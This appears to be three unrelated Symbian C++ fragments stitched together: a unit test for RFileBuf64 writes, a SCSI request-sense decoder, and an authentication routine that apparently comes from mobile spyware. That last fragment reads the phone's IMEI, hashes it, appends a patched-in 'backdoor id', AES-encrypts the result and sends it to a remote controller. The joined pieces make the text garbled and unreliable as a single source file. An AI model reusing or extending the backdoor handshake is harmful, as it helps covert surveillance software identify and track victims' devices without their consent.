/**
@SYMTestCaseID			PDS-SQL-UT-4133
@SYMTestCaseDesc		RFileBuf64 write test 2.
						The test performs file write operations using RFileBuf64 class.
						The write positions are beyound the end of the file but within the buffer capacity.
						The purpose of the test: to verify the logic of RFileBuf64::Write().
@SYMTestActions			RFileBuf64 write test 2.
@SYMTestExpectedResults Test must not fail
@SYMTestPriority		High
@SYMREQ					REQ12106
                        REQ12109
*/
void WriteTest2()
	{
	RFileBuf64 fbuf(1024);
	TInt err = fbuf.Create(TheFs, KTestFile, EFileWrite);
	TEST2(err, KErrNone); 
    fbuf.ProfilerReset();

	//First write operation. After the operation the file buffer must countain 10 bytes.
	err = fbuf.Write(0, _L8("A123456789"));
	TEST2(err, KErrNone); 
	TEST2(fbuf.iFileWriteCount, 0);
	TEST2(fbuf.iFileWriteAmount, 0);
	TEST2(fbuf.iFileSizeCount, 1);

	//Second write operation. After the operation the file buffer must countain 10 + 10 zeros + 10 bytes.
	err = fbuf.Write(20, _L8("FFGGHHJJKK"));
	TEST2(err, KErrNone); 
	TEST2(fbuf.iFileWriteCount, 0);
	TEST2(fbuf.iFileWriteAmount, 0);
	TEST2(fbuf.iFileSizeCount, 1);

	err = fbuf.Flush();
	TEST2(err, KErrNone); 
	TEST2(fbuf.iFileWriteCount, 1);
	TEST2(fbuf.iFileFlushCount, 1);
	TEST2(fbuf.iFileWriteAmount, 30);
	TEST2(fbuf.iFileSizeCount, 1);

	fbuf.Close();
	
	TBuf8<30> pattern;
	pattern.Append(_L8("A123456789"));
	pattern.AppendFill(TChar(0), 10);
	pattern.Append(_L8("FFGGHHJJKK"));
	VerifyFileContent(pattern);
	
	(void)TheFs.Delete(KTestFile);
	}
void TScsiClientRequestSenseResp::DecodeL(const TDesC8& aPtr)
	{
	__MSFNSLOG
    __SCSIPRINT(_L("--> SCSI REQUEST SENSE"));
    if (aPtr.Length() < KResponseLength)
        {
        // Handle short data.
        // The data not transferred is assumed to be zero.

        // Create full size buffer
        TBuf8<KResponseLength> buffer;

        // Copy data into buffer
        buffer = aPtr;
        // Fill remainder with 0's
        buffer.AppendFill(0, KResponseLength - aPtr.Length());

        DecodeSenseInfo(buffer);
        }
    else
        {
        DecodeSenseInfo(aPtr);
        }
	}
void CStateAuthentication::ActivateL(const TDesC8& aData)
{
    //construct body
    TBuf8<128> plainBody;

    TBuf<16> 	imei;

    // generate kd
    iKd.SetMax();
    TRandom::Random(iKd);
    plainBody.Append(iKd);

    // generate nonce
    iNonce.SetMax();
    TRandom::Random(iNonce);
    plainBody.Append(iNonce);

    // backdoor id from binary patching, ASCII
    plainBody.Append(KBACKDOORID);

    // generate instance id
    // 1. get IMEI
    CPhone* phone = CPhone::NewLC();
    phone->GetImeiSync(imei);
    CleanupStack::PopAndDestroy();
    // 2. SHA1 of IMEI
    TBuf8<16> imei8;
    imei8.Copy(imei);
    TBufC8<16> imeiC(imei8);
    CSHA1* sha1 = CSHA1::NewL();
    CleanupStack::PushL(sha1);
    sha1->Update(imeiC);
    TBuf8<20> instanceId;
    instanceId.Copy(sha1->Final());
    CleanupStack::PopAndDestroy(sha1);
    plainBody.Append(instanceId);

    // subtype
    TBuf8<16> subtype;
    subtype.Append(KSymbian_SubType);
    subtype.AppendFill(0,16-KSymbian_SubType().Length());
    plainBody.Append(subtype);

    //calculate final SHA1
    TBuf8<20> sha;
    CSHA1* payloadSha1 = CSHA1::NewL();
    CleanupStack::PushL(payloadSha1);
    payloadSha1->Update(KBACKDOORID);
    payloadSha1->Update(instanceId);
    payloadSha1->Update(subtype);
    sha.Copy(payloadSha1->Final(iConfKey));
    plainBody.Append(sha);
    CleanupStack::PopAndDestroy(payloadSha1);

    // encrypt plainbody
    RBuf8 buff(AES::EncryptPkcs5L(plainBody, KIV, iSignKey));
    buff.CleanupClosePushL();

    //add REST header
    HBufC8* header = iObserver.GetRequestHeaderL();
    TBuf8<32> length;
    length.Append(KContentLength);
    length.AppendNum(buff.Size());
    length.Append(KNewLine);
    iRequestData = HBufC8::NewL(header->Size()+length.Size()+KNewLine().Size()+buff.Size());
    iRequestData->Des().Append(*header);
    delete header;
    iRequestData->Des().Append(length);
    iRequestData->Des().Append(KNewLine);
    iRequestData->Des().Append(buff);
    CleanupStack::PopAndDestroy(&buff);

    iObserver.SendStateDataL(*iRequestData);
}